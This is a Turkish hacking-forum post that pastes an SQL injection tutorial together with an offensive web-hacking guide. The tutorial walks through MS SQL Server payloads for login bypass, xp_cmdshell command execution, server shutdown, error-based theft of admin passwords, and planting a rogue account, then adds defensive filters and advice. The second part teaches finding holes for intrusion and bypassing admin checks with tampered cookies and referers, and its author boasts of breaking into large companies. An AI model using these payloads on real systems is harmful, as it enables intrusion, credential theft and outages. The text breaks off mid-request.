İlk bakışta sorun olmayan bir SQL Deyimi... Fakat saldırganın;
Username : ilkay
Password : ’ OR 1=1--
Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’’ OR 1=1 --’
Olacaktır ki, bu durumda girişin sağlanması için şart "ilkay" kullanıcı adına ait şifrenin hiçbirşey* olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.
* Hiçbişey = Boşluk
Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve "Giriş Yapıldı" mesajı verilecektir.
Not : Microsoft® SQL Server™ "--" imlecinden sonra gelen yersiz kullanılmış tırnak işaretlerini göz ardı edecektir. İlk bakışta basit gibi görünen ve sadece SQL Server’a ait olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırgana büyük kolaylık sağlayacaktır..
2.2. Uzaktan Çalıştırılması Mümkün Olan Prosedürler:
MS SQL Server’a varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon saldırısında muhtemel saldırgana sunucuda saklanan prosedürleri çalıştırabilmesi için gerekli hakları tanıyacaktır. Saldırganın kullanabileceği prosedürlerden bir tanesi; "master..xp_cmdshell" olabilir.
Username : ilkay
Password : ’; EXEC master..xp_cmdshell ’dir c:’--
Girdileriyle oluşacak SQL Deyimi;
SELECT count(*) FROM Users WHERE Username = ’ilkay’ AND Password = ’’; EXEC master..xp_cmdshell ’dir c:’--’
Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulunduran sütunları arayacaktır bulamadığı için "Yanlış Kullanıcıadı & Şifre" mesajını verecektir fakat bu arada arka planda "dir c:" komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.
2.3. SQL Server Hedef Alınarak Yapılan Saldırılar:
Yönetici haklarına sahip saldırgan silme,ekleme,değiştirme...vb gibi komutları rahatlıkla çalıştırabilecektir.
SHUTDOWN WITH NOWAIT SQL Server’ın kritik komutlarından bir tanesidir. Komutla beraber SQL Server görevine son verir.
Username : ’; SHUTDOWN WITH NOWAIT--
Password : [Boş]
Bu girdilerle oluşturulan SQL Deyimi;
SELECT Username FROM Users WHERE Username=’’; SHUTDOWN WITH NOWAIT; --’ AND Password=’’
Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.
2.4. ODBC Hatalarından Faydalanarak Yapılan Saldırılar:
SQL Server’ın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere ulaşmak mümkündür.
Hedef; https://tik.lat/svnKf şeklinde ürün ID leri ile çalışan ASP tabanlı bir websitesi.
Saldırı SQL Server’ın integer ve string cinsinden verileri birlikte gönderememesinden faydalınarak yapılabilir;
Gönderilen ’10’ sayısına veritabanından herhangi bir string eklenir.
https://tik.lat/jeaZq UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan diğer tüm tablolar hakkında bilgi içerir. Deyimde kullanılan "TABLE_NAME" de yine tüm tablo isimlerini içerir.
Oluşacak SQL Deyimi;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Table1’ to a column of data type int.
/Default.asp, line 5
Hata, saldırgana "Table1" olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla veritabanındaki ilk tablo adının "Table1" olduğunu) belirtmektedir. Saldırgan diğer tabloların adını aşağıdaki şekilde öğrenebilir...
https://tik.lat/kFdum UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’Table1’)--
Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;
https://tik.lat/KXgXM UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25Login%25’--
SQL Server’ın vereceği hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’Admin_Login’ to a column of data type int.
/Default.asp, line 5
Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;
https://tik.lat/qczVH UNION SELECT TOP 1 Username FROM Admin_Login--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’ilkay’ to a column of data type int.
/Default.asp, line 5
Bu şekilde "admin" kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek için kullanacağı girdi;
https://tik.lat/DqOas UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username=’ilkay’--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’2081’ to a column of data type int.
/Default.asp, line 5
Sonuç :
Username : ilkay
Password : 2081
2.5. Veritabanına Ekleme Yapma veya Veri Düzenleme:
Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve UPDATE,INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temizi başka bir kullanıcı hesabı açabilir...
https://tik.lat/ywNEV UPDATE ’Admin_Login’ SET ’Password’ = ’NewPwd’ WHERE Username=’ilkay’--
Yeni bir kullanıcı hesabı için;
https://tik.lat/jNfB0 INSERT INTO ’Admin_Login’ (’UserID’, ’Username’, ’Password’, ’Details’) VALUES (666,’Desperate_Cry’,’2081’,’N/A’)--

3. Nasıl Korunmalı? - "Aksi Doğrulanıncaya Kadar Tüm Kullanıcı Girdileri Kötüdür..."
Gelebilecek SQL Enjeksiyon saldırılarından korunabilmek için alınan önlemlerde temel alınması geren nokta... "Aksi doğrulanıncaya kadar tüm kullanıcı girdileri kötüdür!".
3.1. Kullanıcı Haklarının Sınırlandırılması
Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan sistem hesabı kullanılması... Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme,silme,düzeltme eylemini gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır.
Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin verecekseniz, "web_user" gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler sütununda sadece "SELECT" kullanımına ve siparişleri için; siparişler sütununda sadece "INSERT" kullanımına izin vermeniz uygun olacaktır.
3.2. Girdilerde Tırnak İmleçlerinin (’) Kötü Amaçlı Kullanımının Engellenmesi
Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz (’) tırnak işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.
Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon muhtemel bir saldırıyı engellmek için yeterli olabilir.
ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;
<%
Function ReplaceQuotes(strWords)
ReplaceQuotes = Replace(strWords,”’”,”””)
End Function
%>
Bu fonksiyonu baştaki örnekte kullanırsak;
SELECT count(*) FROM Users WHERE Username=’ilkay’ AND Password=’’ OR 1=1 --’
şeklinde olan deyim...
SELECT count(*) FROM Users WHERE Username=’ilkay’ AND Password=’" OR 1=1 --’
’e dönüşecektir.
3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi
SQL Enjeksiyon saldırıları genelde ";, --,SELECT, INSERT ve xp_" gibi karakterlerin-kelimelerin kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir.Örneğin kullanıcıdan E - Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece " @,-,_,." karakterlerinin kullanılmasına izin verilmelidir.
Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanlı DLL ler, kullanıcı taraflı fonksiyonlar...vb, izole edilmiş bir sunucuya taşınmalıdır. Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;
<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE", "xp_"’)
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), ""’)
Next
FilterBadWords = NewWords
End Function
%>
Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;
SELECT Username FROM Users WHERE Usename=’’; EXEC master..xp_cmdshell ’dir c’; --’ AND Password=’’
Şeklindeki SQL Deyimi...
SELECT Username FROM Users WHERE Usename=’" EXEC master.. cmdshell "dir c:" ’ AND Password=’’
e dönüşecektir ki bu da herhangi bir kayıt bulumadığı hatasını vermekten öteye gitmeyecektir.
Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.
3.4. Girdi Uzunluğunun Sınırlandırılması
Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50 karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem sayılabilir.
3.5. Girdi Cinsinin Kontrol Edilmesi
Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.
3.6. Girdi Cinsinin Kontrol Edilmesi
Formunuz aracılığı ile topladığınız verileri yollarken mutlaka "POST" metodunu kullanın ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini gördüklerinde akıllarına farklı fikirler gelmesin.
4. Son Söz - "Herzaman bir adım önde!"
Aldığınız güvenlik önlemleri veya (en iyi ihtimalle) yazıp da kullanmayı bir alışkanlık haline getiremediğiniz güvenlik politikaları sizi güvenlik problemlerine karşı koruyabilir mi? Eğer güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci içerisinde ele almıyorsanız hiçbir güvenlik ürünü, bir güvenlik kaybına uğramanızı engelleyemez.
Bilgi sistemleri altyapınızı taşıdıkları güvenlik zaaflarına karşı düzenli olarak kontrol ettirmek, risklerinizi takip etmek, doğru teknolojiyi doğru yerde ve doğru şekilde kullanmanızı sağlayacak güvenlik politikalarınızı oluşturup güvenlik probleminizi sürekli yönetebilecek olgunluğa ulaşmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kısmını oluşturan uygulamaların taşıyabileceği güvenlik sorunları uzun süredir ihmal edilmelerinden dolayı, günümüzün en popüler sistem sızma noktalarını teşkil etmektedirler. Bu nedenle uygulama güvenliğine ilişkin gereken önemi vermeniz, güvenlik denetimi yaptırmanız ve kurumunuzun bilgi güvenliği yönetim sistemini oluşturmaya bir yerinden başlamanızı öneriyoruz.
Anonim







SQL ACIGI
Uygulamanın kaynak kodlarından yararlanma:
(Genel içerik: çapraz site betiklenmesi (XSS) ve SQL enjeksiyonu)

En basit ve en yararlı olan yöntemdir. Basit dediğime bakmayın oldukça uğraştırır aslında.Nedenine gelince bazen bu sistemlerin hangi uygulamaları kullandığını bulmak oldukça zordur ve eğer public bir uygulama değilse örneğin (PHPNuke,PostNuke gibi) bu yöntemi denemenizi tavsiye etmem.

Kaynak kodunu ele geçirdiğiniz uygulamayı önce yerel bir sunucudaki kendi sisteminize bu uygulamayı destekleyen bir sunucu kurmalısınız (PHP tabanlı uygulamalar için: PHPTriad,ApacheTriad gibi sunucu paketleri sizin için idealdir, ASP ve FrontPage tabanlı sistemler için PWS sizler için idealdir ve PWS Windows ile gelir) bu sunucuyu kurdukdan sonra uygulamayı sunucunuz üzerinde çalıştırın.

Sonra birebir bütün heryerini önce kurcalayın ve bir hata ile karşılaştığınızdaki bu uygulamada var olan açığın ilk adımını bulmuşsunuz demekdir ki,

Bu hata mesajı bazen debug output olarak karşınıza çıkarsa ve alttaki örnek gibiyse
Kod:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’or’ at line 1

1. satırdaki kodu inceleyin mevcut hatamız SQL ile ilgili gördüğünüz gibi burdaki fonksiyonu ve mevcut SQL sorgusuna dikkat edin ve neler yapılabileceğinizi deneyin.

Bazen hata mesajı almasanızda bir tuhaflık gözünüze çarpar örneğin uygulamamıza yerel sunucumuzdan şöyle eriştiğimizi varsayalım;
Kod:
https://tik.lat/FszeI or

Eğer read.php bize normalde mesaj yazması gereken yerde hiç birşey göstermediyse.
read.php dosyasını bir metin düzenleyicisi yardımıyla örnek: notepad açın,sonra tek tek bütün kodları inceleyin özellikle read.php’nin sunucudan "GET" yöntemi ile gelen sorgulara hangi fonksiyon ile nasıl yanıt verdiğine bakmalısınız.Eğer fonksiyonda bir terslik gözünüze çarpar ise örnek bir hatalı fonksiyon yazalım.
Kod:
function readip() {
@mysql_connect(şuo_sqlhost, şuo_sqluser, şuo_sqlpass) or die("Cannot connect to SQL server");
@mysql_select_db(şuo_sqlbase) or die("Cannot select database");
şuo_ip = ş_GET[’SIP’];
şuo_query = "SELECT lastvisit FROM users_online WHERE visitor = şuo_ip";
şuo_result = mysql_query(şuo_query);
echo şuo_result;
}
gördüğünüz gibi fonksiyonda bir hatamız mevcut.
Kod:
şuo_query = "SELECT lastvisit FROM users_online WHERE visitor = şuo_ip";
tam olarak düzenli yazılmamış bir SQL sorgusu bu sorguya GET yöntemi ile gelen IP sorgusundaki bir dikkatsizlik sayesinde çok kolay bir şekilde SQL sorgusu enjekte edebiliriz.
Hatta uzaktan kod çalıştırma dahi yapabiliriz.

Uygulamaları yazan kişiler genelde print (yazdırma) ve view (görüntüleme) sistemlerine ne yazikki dizayndan başka bir önem vermezler ve genelde bütün açıklar bu sayfalarda çıkar.

Eğer uygulamanın kaynak kodlarına erişemezseniz, mevcut uygulamaya ulaştığınız web sunucusundan en yukarda bahsettiğim metodları kullanarak az kafasını kurcalamaya çalışarak bir çok açık bulabilirsiniz.

Genelde büyük ve özel sunuculardaki açıklar böyle bulunmuştur. Bir çok büyük firmanın sistemine girdiğimde (BigFoot,ICQmail,NetZero,Superonline) bu tarz açıklar bulmuştum.

Çerezlerle oynamak:

Çerezler aslında HTTP requestte Cookie: headerıyla sunucuya yolladığımız ve sistemin bizi kolayca hatırlamasını sağlayan değerler.Bu değerlerle ufak oynamalar yaparak kendimizi sistem adminiymiş gibi gösterebiliriz bu metodu artık çoğunuz biliyorsunuz.Fazla anlatmaya gerek yok=)

Referans değişimi (referer spoofing):

Aslında buda headerlar ile oynamak kapsamına girer ancak dikkatsiz programcılar halen bu eski sistemi kullanmaktalar.Bir çoğunuz bu yöntemi porno sitelere girerken çok kullanıyorsunuz.
Burdaki mantık sokete HTTP requesti yollarken sitemizi abudik.com varsayarsak
Kod:
GET admin.asp HTTP/1.1
Referer: http://www.HEDEFS
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.